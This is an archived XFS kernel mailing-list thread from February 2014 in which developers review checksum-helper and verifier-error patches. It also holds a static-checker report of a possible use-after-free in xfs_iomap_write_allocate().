Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH 3/6] xfs: add helper for verifying checksums on xfs_bufs Message-ID: <20140210033140.GP13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/6] xfs: add helper for verifying checksums on xfs_bufs References: <52F83630.4020008@redhat.com> <52F83907.9070004@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F83907.9070004@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392003103 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144983 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 09, 2014 at 08:27:19PM -0600, Eric Sandeen wrote: > Many/most callers of xfs_verify_cksum() pass bp->b_addr and > BBTOB(bp->b_length) as the first 2 args. Add a helper > which can just accept the bp and the crc offset, and work > it out on its own, for brevity. > > Signed-off-by: Eric Sandeen > --- > > I'm not wedded to this; seems helpful and cleaner, but > if there's a reason not to, *shrug* > > fs/xfs/xfs_alloc.c | 7 +++---- > fs/xfs/xfs_attr_leaf.c | 3 +-- > fs/xfs/xfs_btree.c | 8 ++++---- > fs/xfs/xfs_cksum.h | 7 +++++++ > fs/xfs/xfs_da_btree.c | 3 +-- > fs/xfs/xfs_dir2_block.c | 3 +-- > fs/xfs/xfs_dir2_data.c | 3 +-- > fs/xfs/xfs_dir2_leaf.c | 3 +-- > fs/xfs/xfs_dir2_node.c | 3 +-- > fs/xfs/xfs_ialloc.c | 4 ++-- > fs/xfs/xfs_symlink_remote.c | 2 +- > 11 files changed, 23 insertions(+), 23 deletions(-) > > diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c > index 9eab2df..ab33714 100644 > --- a/fs/xfs/xfs_alloc.c > +++ b/fs/xfs/xfs_alloc.c > @@ -485,8 +485,7 @@ xfs_agfl_read_verify( > if (!xfs_sb_version_hascrc(&mp->m_sb)) > return; > > - agfl_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_agfl, agfl_crc)); > + agfl_ok = xfs_buf_verify_cksum(bp, offsetof(struct xfs_agfl, agfl_crc)); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ vs > + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || > ^^^^^^^^^^^^^^^^^^^^^^ I think that we also be consistent with the way we specify the offset of the CRC field. Some of the code uses a #define, and some doesn't. My preference would be to use the #define format everywhere as it makes the code briefer and easier to read and it gets rid of the long lines and wrapping that is done in places. > diff --git a/fs/xfs/xfs_cksum.h b/fs/xfs/xfs_cksum.h > index fad1676..f605d64 100644 > --- a/fs/xfs/xfs_cksum.h > +++ b/fs/xfs/xfs_cksum.h > @@ -60,4 +60,11 @@ xfs_verify_cksum(char *buffer, size_t length, unsigned long cksum_offset) > return *(__le32 *)(buffer + cksum_offset) == xfs_end_cksum(crc); > } > > +static inline int > +xfs_buf_verify_cksum(struct xfs_buf *bp, unsigned long cksum_offset) > +{ > + return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), > + cksum_offset); > +} > + This introduces a dependency between xfs_buf.h and xfs_cksum.h. i.e. if we include xfs_cksum.h we now have to include xfs_buf.h before it. Even though it means we'll have to juggle header files in quite a few files, I'd prefer that we swap the dependency order as xfs_cksum.h is shared with userspace and used in places that don't necessarily know (or should know) what an xfs_buf is.... Otherwise it's a good cleanup. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 9 21:33:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3FF247F4E for ; Sun, 9 Feb 2014 21:33:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DBEDFAC002 for ; Sun, 9 Feb 2014 19:33:28 -0800 (PST) X-ASG-Debug-ID: 1392003206-04bdf012202488b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id vlc9359SUtXos4sl for ; Sun, 09 Feb 2014 19:33:27 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgUIAHhH+FJ5LGaB/2dsb2JhbABZgwyDPrc+hV+BBhd0giUBAQUnExwjEAgDGAklDwUlAyETiATIOhcWjmcHhDgBA5gqilCHUoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 10 Feb 2014 14:03:26 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WChcZ-0000pI-E1; Mon, 10 Feb 2014 14:33:23 +1100 Date: Mon, 10 Feb 2014 14:33:23 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH 4/6] xfs: add helper for verifying checksums on xfs_bufs Message-ID: <20140210033323.GQ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: add helper for verifying checksums on xfs_bufs References: <52F83630.4020008@redhat.com> <52F8399B.3050204@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F8399B.3050204@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392003206 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144983 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 09, 2014 at 08:29:47PM -0600, Eric Sandeen wrote: > Many/most callers of xfs_update_cksum() pass bp->b_addr and > BBTOB(bp->b_length) as the first 2 args. Add a helper > which can just accept the bp and the crc offset, and work > it out on its own, for brevity. The title of the patch is the same as the previous one - I think you forgot to "update" it? Other than that, same comments as for the previous patch. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Sun Feb 9 21:36:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 44D8C7F4E for ; Sun, 9 Feb 2014 21:36:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 344798F8037 for ; Sun, 9 Feb 2014 19:35:57 -0800 (PST) X-ASG-Debug-ID: 1392003356-04cbb00c2922e240001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Y3HsexJR8HMvi1mt for ; Sun, 09 Feb 2014 19:35:56 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A9B8E6142669; Sun, 9 Feb 2014 21:35:56 -0600 (CST) Message-ID: <52F8491B.1020105@sandeen.net> Date: Sun, 09 Feb 2014 21:35:55 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH 4/6] xfs: add helper for verifying checksums on xfs_bufs References: <52F83630.4020008@redhat.com> <52F8399B.3050204@sandeen.net> <20140210033323.GQ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: add helper for verifying checksums on xfs_bufs In-Reply-To: <20140210033323.GQ13647@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392003356 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144983 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/9/14, 9:33 PM, Dave Chinner wrote: > On Sun, Feb 09, 2014 at 08:29:47PM -0600, Eric Sandeen wrote: >> Many/most callers of xfs_update_cksum() pass bp->b_addr and >> BBTOB(bp->b_length) as the first 2 args. Add a helper >> which can just accept the bp and the crc offset, and work >> it out on its own, for brevity. > > The title of the patch is the same as the previous one - I think you > forgot to "update" it? Bah, yes. Probably doesn't really even have to be 2 patches. > Other than that, same comments as for the previous patch. ok, thx for the reviews. Agree that the defines make it better. -Eric > Cheers, > > Dave. > From david@fromorbit.com Sun Feb 9 21:43:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8C8D67F3F for ; Sun, 9 Feb 2014 21:43:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 26279AC001 for ; Sun, 9 Feb 2014 19:43:27 -0800 (PST) X-ASG-Debug-ID: 1392003805-04bdf0121f248f70001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id XFJ1fMvs5f0hx8FH for ; Sun, 09 Feb 2014 19:43:26 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgUIAKtJ+FJ5LGaB/2dsb2JhbABPCoMMgz63PoVfgQYXdIIlAQEFJxMcIxAIAxgJJQ8FJQMhE4gEyDwXFo4LXAeEOASYKopQh1KDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 10 Feb 2014 14:13:25 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WChmD-0000qb-9q; Mon, 10 Feb 2014 14:43:21 +1100 Date: Mon, 10 Feb 2014 14:43:21 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH 5/6] xfs: add xfs_verifier_error() Message-ID: <20140210034321.GR13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: add xfs_verifier_error() References: <52F83630.4020008@redhat.com> <52F83A8D.7030506@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F83A8D.7030506@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392003805 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144983 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 09, 2014 at 08:33:49PM -0600, Eric Sandeen wrote: > We want to distinguish between corruption, CRC errors, > etc. In addition, the full stack trace on verifier errors > seems less than helpful; it looks more like an oops than > corruption. > > Create a new function to specifically alert the user to > verifier errors, which can differentiate between > EFSCORRUPTED and CRC mismatches. It doesn't dump stack > unless the xfs error level is turned up high. > > Define a new error message (EFSBADCRC) to clearly identify > CRC errors. (Defined to EILSEQ, bad byte sequence) > > Signed-off-by: Eric Sandeen > --- > fs/xfs/xfs_error.c | 22 ++++++++++++++++++++++ > fs/xfs/xfs_error.h | 3 +++ > fs/xfs/xfs_linux.h | 1 + > 3 files changed, 26 insertions(+), 0 deletions(-) > > diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c > index 9995b80..08d76f4 100644 > --- a/fs/xfs/xfs_error.c > +++ b/fs/xfs/xfs_error.c > @@ -178,3 +178,25 @@ xfs_corruption_error( > xfs_error_report(tag, level, mp, filename, linenum, ra); > xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); > } > + > +/* > + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid > + * values, and omit the stack trace unless the error level is tuned high. > + */ > +void > +__xfs_verifier_error( > + const char *func, > + struct xfs_buf *bp) > +{ > + struct xfs_mount *mp = bp->b_target->bt_mount; > + > + xfs_alert(mp, > +"%sCorruption detected in %s, block 0x%llx. Unmount and run xfs_repair", > + bp->b_error == EFSBADCRC ? "CRC " : "", func, bp->b_bn); Perhaps if we do this: xfs_alert(mp, "Metadata %s detected at %pF, block 0x%llx. Unmount and run xfs_repair", bp->b_error == EFSBADCRC ? "CRC error" : "corruption", _RET_IP_, bp->b_bn); We'll get a symbol of the form caller_name+0xoffset similar to a stack dump. That way if we have multiple calls to a xfs_verifier_error() inside a single function we get something that tells us which call detected the error... Also, the use of _RET_IP_ gets rid of the need for the wrapper macro.... i.e. we could replace all the XFS_WANT_CORRUPTED_RETURN() calls in __xfs_dir3_data_check() with calls to xfs_verifier_error() so we can determine exactly what corruption check failed... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Sun Feb 9 22:16:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2A9777F3F for ; Sun, 9 Feb 2014 22:16:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0F303304043 for ; Sun, 9 Feb 2014 20:16:23 -0800 (PST) X-ASG-Debug-ID: 1392005782-04cb6c6de1237d10001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id xePL1KEW9LF397gn for ; Sun, 09 Feb 2014 20:16:22 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 60BD86142669; Sun, 9 Feb 2014 22:16:22 -0600 (CST) Message-ID: <52F85294.6010309@sandeen.net> Date: Sun, 09 Feb 2014 22:16:20 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH 5/6] xfs: add xfs_verifier_error() References: <52F83630.4020008@redhat.com> <52F83A8D.7030506@sandeen.net> <20140210034321.GR13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: add xfs_verifier_error() In-Reply-To: <20140210034321.GR13647@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392005782 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144984 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/9/14, 9:43 PM, Dave Chinner wrote: > On Sun, Feb 09, 2014 at 08:33:49PM -0600, Eric Sandeen wrote: >> We want to distinguish between corruption, CRC errors, >> etc. In addition, the full stack trace on verifier errors >> seems less than helpful; it looks more like an oops than >> corruption. >> >> Create a new function to specifically alert the user to >> verifier errors, which can differentiate between >> EFSCORRUPTED and CRC mismatches. It doesn't dump stack >> unless the xfs error level is turned up high. >> >> Define a new error message (EFSBADCRC) to clearly identify >> CRC errors. (Defined to EILSEQ, bad byte sequence) >> >> Signed-off-by: Eric Sandeen >> --- >> fs/xfs/xfs_error.c | 22 ++++++++++++++++++++++ >> fs/xfs/xfs_error.h | 3 +++ >> fs/xfs/xfs_linux.h | 1 + >> 3 files changed, 26 insertions(+), 0 deletions(-) >> >> diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c >> index 9995b80..08d76f4 100644 >> --- a/fs/xfs/xfs_error.c >> +++ b/fs/xfs/xfs_error.c >> @@ -178,3 +178,25 @@ xfs_corruption_error( >> xfs_error_report(tag, level, mp, filename, linenum, ra); >> xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); >> } >> + >> +/* >> + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid >> + * values, and omit the stack trace unless the error level is tuned high. >> + */ >> +void >> +__xfs_verifier_error( >> + const char *func, >> + struct xfs_buf *bp) >> +{ >> + struct xfs_mount *mp = bp->b_target->bt_mount; >> + >> + xfs_alert(mp, >> +"%sCorruption detected in %s, block 0x%llx. Unmount and run xfs_repair", >> + bp->b_error == EFSBADCRC ? "CRC " : "", func, bp->b_bn); > > Perhaps if we do this: > > xfs_alert(mp, > "Metadata %s detected at %pF, block 0x%llx. Unmount and run xfs_repair", > bp->b_error == EFSBADCRC ? "CRC error" > : "corruption", _RET_IP_, bp->b_bn); > > We'll get a symbol of the form caller_name+0xoffset similar to a > stack dump. That way if we have multiple calls to a > xfs_verifier_error() inside a single function we get something that > tells us which call detected the error... Hm, but the point of the switch based on error nrs was to require only one call in each ->verifier, and ... > Also, the use of _RET_IP_ gets rid of the need for the wrapper > macro.... 0x${SPLAT} is a lot less useful than i.e. "xfs_agi_read_verify" Printing the _RET_IP_ requires disassembly of that particular build to figure out where we went wrong, whereas printing __func__ makes it clear on the initial read of the dmesg. > i.e. we could replace all the XFS_WANT_CORRUPTED_RETURN() calls in > __xfs_dir3_data_check() with calls to xfs_verifier_error() so we can > determine exactly what corruption check failed... Well, I'm sympathetic to that goal, but I wonder if we can't do both; print in plain english which verifier went bad, and also (when warranted) print lower level details in some other manner...? -Eric > Cheers, > > Dave. > From dan.carpenter@oracle.com Mon Feb 10 04:36:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B43AC7F3F for ; Mon, 10 Feb 2014 04:36:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 92B96304064 for ; Mon, 10 Feb 2014 02:36:32 -0800 (PST) X-ASG-Debug-ID: 1392028587-04cbb00c2823a680001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 4cm2igHikfr4IlLT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 02:36:28 -0800 (PST) X-Barracuda-Envelope-From: dan.carpenter@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1AAaQvX024037 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 10 Feb 2014 10:36:27 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1AAaPNl007545 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 10:36:26 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1AAaPNn025018 for ; Mon, 10 Feb 2014 10:36:25 GMT Received: from elgon.mountain (/41.202.240.13) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 10 Feb 2014 02:36:24 -0800 Date: Mon, 10 Feb 2014 13:36:26 +0300 From: Dan Carpenter To: xfs@oss.sgi.com Subject: potential use after free in xfs_iomap_write_allocate() Message-ID: <20140210103626.GA15018@elgon.mountain> X-ASG-Orig-Subj: potential use after free in xfs_iomap_write_allocate() MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1392028588 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144990 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 2.00 BSF_SC0_MV0249 Custom rule MV0249 There is a static checker warning in xfs_iomap_write_allocate(). It's sort of old so probably it's a false positive. fs/xfs/xfs_iomap.c:798 xfs_iomap_write_allocate() warn: 'tp' was already freed. fs/xfs/xfs_iomap.c 677 678 while (count_fsb != 0) { There are some paths where if (count_fsb == 0) then "tp" is free. 679 /* 680 * Set up a transaction with which to allocate the 681 * backing store for the file. Do allocations in a 682 * loop until we get some space in the range we are 683 * interested in. The other space that might be allocated 684 * is in the delayed allocation extent on which we sit 685 * but before our buffer starts. 686 */ 687 688 nimaps = 0; 689 while (nimaps == 0) { 690 tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); 691 tp->t_flags |= XFS_TRANS_RESERVE; 692 nres = XFS_EXTENTADD_SPACE_RES(mp, XFS_DATA_FORK); 693 error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, 694 nres, 0); 695 if (error) { 696 xfs_trans_cancel(tp, 0); 697 return XFS_ERROR(error); 698 } 699 xfs_ilock(ip, XFS_ILOCK_EXCL); 700 xfs_trans_ijoin(tp, ip, 0); 701 702 xfs_bmap_init(&free_list, &first_block); 703 704 /* 705 * it is possible that the extents have changed since 706 * we did the read call as we dropped the ilock for a 707 * while. We have to be careful about truncates or hole 708 * punchs here - we are not allowed to allocate 709 * non-delalloc blocks here. 710 * 711 * The only protection against truncation is the pages 712 * for the range we are being asked to convert are 713 * locked and hence a truncate will block on them 714 * first. 715 * 716 * As a result, if we go beyond the range we really 717 * need and hit an delalloc extent boundary followed by 718 * a hole while we have excess blocks in the map, we 719 * will fill the hole incorrectly and overrun the 720 * transaction reservation. 721 * 722 * Using a single map prevents this as we are forced to 723 * check each map we look for overlap with the desired 724 * range and abort as soon as we find it. Also, given 725 * that we only return a single map, having one beyond 726 * what we can return is probably a bit silly. 727 * 728 * We also need to check that we don't go beyond EOF; 729 * this is a truncate optimisation as a truncate sets 730 * the new file size before block on the pages we 731 * currently have locked under writeback. Because they 732 * are about to be tossed, we don't need to write them 733 * back.... 734 */ 735 nimaps = 1; 736 end_fsb = XFS_B_TO_FSB(mp, XFS_ISIZE(ip)); 737 error = xfs_bmap_last_offset(NULL, ip, &last_block, 738 XFS_DATA_FORK); 739 if (error) 740 goto trans_cancel; 741 742 last_block = XFS_FILEOFF_MAX(last_block, end_fsb); 743 if ((map_start_fsb + count_fsb) > last_block) { 744 count_fsb = last_block - map_start_fsb; 745 if (count_fsb == 0) { 746 error = EAGAIN; 747 goto trans_cancel; 748 } 749 } 750 751 /* 752 * From this point onwards we overwrite the imap 753 * pointer that the caller gave to us. 754 */ 755 error = xfs_bmapi_write(tp, ip, map_start_fsb, 756 count_fsb, 757 XFS_BMAPI_STACK_SWITCH, 758 &first_block, 1, 759 imap, &nimaps, &free_list); 760 if (error) 761 goto trans_cancel; 762 763 error = xfs_bmap_finish(&tp, &free_list, &committed); 764 if (error) 765 goto trans_cancel; 766 767 error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); 768 if (error) 769 goto error0; The call to xfs_trans_commit() frees "tp". 770 771 xfs_iunlock(ip, XFS_ILOCK_EXCL); 772 } 773 774 /* 775 * See if we were able to allocate an extent that 776 * covers at least part of the callers request 777 */ 778 if (!(imap->br_startblock || XFS_IS_REALTIME_INODE(ip))) 779 return xfs_alert_fsblock_zero(ip, imap); 780 781 if ((offset_fsb >= imap->br_startoff) && 782 (offset_fsb < (imap->br_startoff + 783 imap->br_blockcount))) { 784 XFS_STATS_INC(xs_xstrat_quick); 785 return 0; 786 } 787 788 /* 789 * So far we have not mapped the requested part of the 790 * file, just surrounding data, try again. 791 */ 792 count_fsb -= imap->br_blockcount; 793 map_start_fsb = imap->br_startoff + imap->br_blockcount; 794 } 795 796 trans_cancel: 797 xfs_bmap_cancel(&free_list); 798 xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); ^^ We dereference "tp" in xfs_trans_cancel(). regards, dan carpenter From BATV+7b24ee5c980a04874329+3823+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 10 04:44:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E3A3A7F52 for ; Mon, 10 Feb 2014 04:44:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BBCA18F8033 for ; Mon, 10 Feb 2014 02:44:28 -0800 (PST) X-ASG-Debug-ID: 1392029066-04cbb00c2b23a8f0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id nnlI8HG09Tq5gKBs (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 02:44:27 -0800 (PST) X-Barracuda-Envelope-From: BATV+7b24ee5c980a04874329+3823+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local 